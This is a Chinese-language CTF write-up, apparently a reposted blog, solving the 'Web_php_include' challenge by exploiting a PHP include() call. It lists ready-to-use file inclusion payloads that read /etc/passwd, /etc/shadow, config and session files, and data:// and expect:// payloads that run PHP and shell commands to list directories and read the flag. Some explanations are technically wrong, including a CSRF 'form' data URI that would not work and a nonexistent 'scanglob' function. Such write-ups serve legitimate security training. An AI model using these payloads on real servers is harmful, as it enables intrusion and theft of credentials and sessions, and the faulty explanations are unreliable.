代碼審計
這段代碼首先通過 show_source(__FILE__)
顯示當(dāng)前文件的源代碼,然后通過 $_GET['hello']
顯示 URL 參數(shù)中名為 hello 的值。
接下來,代碼使用 $_GET['page']
獲取 URL 參數(shù)中名為 “page” 的值,并進行字符串替換,將 php://
替換為空字符串
這是為了防止通過 URL 參數(shù)加載本地文件或其他可疑文件以實現(xiàn)攻擊。
最后,代碼使用 include($page)
加載根據(jù) GET 參數(shù)動態(tài)指定的文件。
PHP_include
php_include
是 PHP 語言中一個重要的文件包含機制,可以將一個 PHP 文件包含到另一個 PHP 腳本文件中。該機制通常用于代碼復(fù)用和模塊化開發(fā),在不同的 PHP 文件之間實現(xiàn)函數(shù)和類等代碼的共享。
在 PHP 中,有兩種文件包含機制:include
和 require
。它們都可以將指定的 PHP 文件包含到當(dāng)前腳本中,但兩者在出錯處理和返回值方面稍有不同。具體來說:
-
include
:如果包含文件不存在或者出現(xiàn)錯誤,PHP 會發(fā)出警告并繼續(xù)執(zhí)行腳本。 -
require
:如果包含文件不存在或者出現(xiàn)錯誤,PHP 會立即停止腳本執(zhí)行,并拋出致命錯誤。
此外,還有兩個特殊的文件包含機制:include_once
和 require_once
。它們可以確保包含文件只被包含一次,避免重復(fù)包含和執(zhí)行。
例子:
<?php
// include.php 文件內(nèi)容
function add($a, $b) {
return $a + $b;
}
// index.php 文件內(nèi)容
include 'include.php'; // 包含 include.php 文件
echo add(2, 3); // 調(diào)用包含文件中的函數(shù)
?>
在上面的例子中,index.php
文件使用 include
語句包含了 include.php
文件,并調(diào)用其中定義的 add
函數(shù),實現(xiàn)了代碼的復(fù)用。
文件包含漏洞及偽協(xié)議Payload
文件包含漏洞(Local File Inclusion,LFI)是一種常見的 web 應(yīng)用程序漏洞,攻擊者利用該漏洞可以讀取本地服務(wù)器上的敏感文件,或執(zhí)行任意代碼,從而實現(xiàn)對系統(tǒng)的控制。
PHP偽協(xié)議
PHP 偽協(xié)議是一種特殊的 URI 協(xié)議,可以繞過通常的協(xié)議限制,直接訪問本地文件和執(zhí)行 PHP 代碼。
惡意 PHP 偽協(xié)議
以下是一些常見的Payload:
- 讀取 /etc/passwd 文件,顯示系統(tǒng)用戶列表
http://example.com/index.php?page=/etc/passwd
- 讀取 /etc/shadow 文件,嘗試破解系統(tǒng)用戶密碼
http://example.com/index.php?page=/etc/shadow
- 讀取當(dāng)前目錄下的敏感文件
http://example.com/index.php?page=../../../etc/passwd
- 讀取 MySQL 配置文件,獲取數(shù)據(jù)庫連接信息
http://example.com/index.php?page=/var/www/config.php
- 讀取 PHP Session 文件,竊取用戶會話信息
http://example.com/index.php?page=/var/lib/php/sessions/sess_SESSION_ID
- 利用 expect 協(xié)議執(zhí)行任意命令
http://example.com/index.php?page=expect://id
- 利用 data 協(xié)議讀取 base64 編碼的文件內(nèi)容
http://example.com/index.php?page=data:text/plain;base64,PD9waHAgc2V0X3RpbWUoJ2hvc3QnKTsgPz4=
data偽協(xié)議
data 偽協(xié)議是一種用于內(nèi)嵌數(shù)據(jù)的偽協(xié)議,它可以將數(shù)據(jù)直接嵌入到 URI 中。這種偽協(xié)議通常用于將小型的圖片、音頻、視頻等數(shù)據(jù)內(nèi)嵌到網(wǎng)頁中,從而減少 HTTP 請求的數(shù)量,并提高頁面加載速度。data URI 的語法如下:
data:[<mediatype>][;base64],<data>
其中,mediatype
是媒體類型,例如 text/plain
、image/jpeg
、audio/mpeg
等;如果數(shù)據(jù)需要進行 base64 編碼,則在 media type 后添加 ;base64
標記;data
是實際的數(shù)據(jù)內(nèi)容。
例如,下面的代碼就是將一張圖片內(nèi)嵌到 HTML 頁面中:
<img src="data:image/png;base64,iVBORw0KG..."/>
惡意 data 偽協(xié)議
- XSS 攻擊:
攻擊者可以構(gòu)造如下的 data URI:
data:text/html;<script>alert('惡意腳本')</script>
將其嵌入到 web 頁面中:
<iframe src="data:text/html;<script>alert('惡意腳本')</script>"></iframe>
當(dāng)用戶訪問頁面時,將會彈出一個惡意的彈窗提示框,這可能會竊取用戶信息或執(zhí)行其他惡意行為。
- CSRF 攻擊:
攻擊者可以構(gòu)造如下的 data URI:
data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>
將其嵌入到 web 頁面中:
<img src="data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>" />
當(dāng)用戶訪問頁面時,將會自動發(fā)起一筆轉(zhuǎn)賬請求,將 100000 元轉(zhuǎn)賬到攻擊者指定的賬戶上。
- 釣魚詐騙:
攻擊者可以構(gòu)造如下的 data URI:
data:text/html;<meta http-equiv=refresh content='0; url=http://example.com/login.html'>
偽裝成合法網(wǎng)站,并將其嵌入到欺騙用戶的郵件或者社交媒體中。當(dāng)用戶點擊鏈接訪問頁面時,將會跳轉(zhuǎn)到攻擊者指定的網(wǎng)站,可能會泄漏個人隱私信息。
Payload:
Cookie外帶?page=data://text/plain,<script>alert(document.cookie)</script>
ping本地回環(huán)地址?page=data://text/plain,<?php system("ping 127.0.0.1");?>
Base64編碼繞過?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=
查看PHP info?page=data://text/plain,<?php echo phpinfo();?>
模板?page=data://text/plain,惡意代碼
file偽協(xié)議
file 偽協(xié)議用于訪問本地文件系統(tǒng)中的文件,可以在 web 頁面中鏈接到本地文件,或者讀取本地文件中的數(shù)據(jù)。file URI 的語法如下:
file://<host>/<path>
其中,host
表示主機名或 IP 地址(可省略),path
表示文件路徑(必須以 /
開頭)。例如,下面的代碼就是鏈接到本地的 index.html
文件:
<a href="file:///var/www/html/index.html">Click me</a>
惡意 file 偽協(xié)議
file 偽協(xié)議用于指定本地文件路徑,例如:
file:///C:/Users/Desktop/index.html
如果一個 web 頁面使用 file 偽協(xié)議來加載本地文件,那么攻擊者可以通過構(gòu)造特定的文件路徑,來實現(xiàn)一些惡意行為。
- 文件包含漏洞:攻擊者可以將惡意代碼寫入到本地文件中,并將其路徑構(gòu)造成 file 偽協(xié)議形式,從而實現(xiàn)對 web 應(yīng)用的攻擊。例如,攻擊者可以構(gòu)造如下的路徑:
file:///C:/Users/hacker/attack.php?parameter=<script>alert('惡意腳本')</script>
- 釣魚詐騙:攻擊者可以將偽裝成合法網(wǎng)站的本地文件,例如 login.html,然后使用 file 偽協(xié)議來引用該文件,從而欺騙用戶輸入自己的賬戶信息。例如,攻擊者可以構(gòu)造如下的路徑:
file:///C:/Users/hacker/login.html
然后將該路徑作為鏈接的 href 屬性值,發(fā)送給用戶。
知識點及姿勢
由于沒有對 $page
變量進行足夠的過濾和驗證,因此可使用文件包含讀取flag
Payload:?page=data://text/plain,<?php echo phpinfo();?>
由上圖可知,data偽協(xié)議執(zhí)行成功。
讀取目錄路徑
-
$_SERVER['DOCUMENT_ROOT'];
會返回當(dāng)前運行 PHP 腳本所在的文檔根目錄(Document Root)的絕對路徑。 -
使用
$_SERVER['CONTEXT_DOCUMENT_ROOT']
變量,它返回當(dāng)前運行 PHP 腳本所在上下文的文檔根目錄的絕對路徑。 -
使用
dirname(__FILE__)
函數(shù),該函數(shù)返回當(dāng)前執(zhí)行的 PHP 腳本所在位置的絕對路徑。 -
使用
getcwd()
函數(shù),該函數(shù)返回當(dāng)前工作目錄的絕對路徑。此方法適用于在 PHP 執(zhí)行期間更改當(dāng)前工作目錄的情況。
需要注意的是,在 PHP 7.0 及以后版本中,不再推薦使用 __FILE__
常量,而是建議使用 __DIR__
常量來代替 dirname(__FILE__)
函數(shù)。
如果網(wǎng)站根目錄是 /var/www/html
,則可以使用以下任意一種方式來獲取網(wǎng)站根目錄路徑:
// 方法1
$rootPath = $_SERVER['DOCUMENT_ROOT'];
// 方法2
$rootPath = dirname(__FILE__);
// 方法3
$rootPath = getcwd();
// 方法4
$rootPath = $_SERVER['CONTEXT_DOCUMENT_ROOT'];
dirname(FILE)讀取目錄路徑實例
舉例如下:
Payload ?page=data://text/plain,<?php echo dirname(__FILE__);?>
由上圖可知,dirname(FILE)返回了當(dāng)前執(zhí)行的 PHP 腳本所在位置的絕對路徑text
Payload ?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>
由上圖可知,$_SERVER['DOCUMENT_ROOT'];
返回了當(dāng)前運行 PHP 腳本所在的文檔根目錄的絕對路徑/var/www
讀取目錄文件
PHP 中一些獲取目錄下文件和子目錄的函數(shù):
-
scandir('指定目錄') 函數(shù)
將返回指定目錄中的所有文件和子目錄的數(shù)組列表 -
glob($pattern, $flags)
:根據(jù)指定模式匹配獲取與之匹配的文件或目錄列表。$pattern
參數(shù)是一個通配符模式,支持*
和?
等通配符,例如*.txt
匹配所有以.txt
結(jié)尾的文件。如果要獲取文件和目錄,可以使用*
作為通配符。$flags
參數(shù)是一個可選參數(shù),用于設(shè)置匹配模式和排序規(guī)則等。 -
scanglob($directory, $pattern)
:類似于glob
函數(shù),但是可以在指定的目錄下遞歸搜索匹配指定模式的文件或目錄。$directory
參數(shù)是要搜索的目錄,$pattern
參數(shù)是要匹配的通配符模式。
glob讀取目錄文件實例
例如,基于代碼可以打印輸出目錄 /var/www
下所有以 .php
結(jié)尾的文件列表:
foreach (glob("/var/www/*.php") as $file) {
echo basename($file) . "\n";
}
基于以上代碼構(gòu)造POC:
?page=data://text/plain,<?php foreach (glob("/var/www/*.php") as $file){echo basename($file) . "\n";}?>
回顯如下:
Payload?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
由上圖,回顯
fl4gisisish3r3.php
讀取文件內(nèi)容
file_get_contents($filename) 是 PHP 中一個常用的文件操作函數(shù),它可以返回指定文件的內(nèi)容
Payload:?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo $a; ?>
該Payload正確,但無回顯。
猜測fl4gisisish3r3.php中字符串為HTML標簽,從而被當(dāng)作HTML元素來解析和顯示
Payload?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
如上圖,猜測正確。
readfile讀取文件內(nèi)容實例
如果想使用 readfile
函數(shù)讀取文件并輸出到瀏覽器,但又希望避免瀏覽器解析 HTML 元素,可以使用 PHP 的 header()
函數(shù)來設(shè)置響應(yīng)頭,將輸出內(nèi)容的類型設(shè)置為純文本格式。
下面的代碼演示如何通過 readfile
函數(shù)將文件內(nèi)容輸出到瀏覽器,并避免 HTML 元素被解析:
<?php
// 設(shè)置響應(yīng)頭,將輸出內(nèi)容的類型設(shè)置為純文本格式
header("Content-Type: text/plain");
// 使用 readfile 函數(shù)讀取文件內(nèi)容并輸出到瀏覽器
readfile("fl4gisisish3r3.php");
?>
基于以上代碼構(gòu)造POC:?page=data://text/plain,<?php header("Content-Type: text/plain");readfile("fl4gisisish3r3.php");?>
總結(jié)
該題考察文件包含漏洞
,涉及PHP偽協(xié)議
、data偽協(xié)議
、file偽協(xié)議
及PHP內(nèi)置函數(shù)
等知識點,讀者可躬身實踐。文章來源:http://www.zghlxwxcb.cn/news/detail-715849.html
我是秋說,我們下次見。文章來源地址http://www.zghlxwxcb.cn/news/detail-715849.html
到了這里,關(guān)于[CTF/網(wǎng)絡(luò)安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!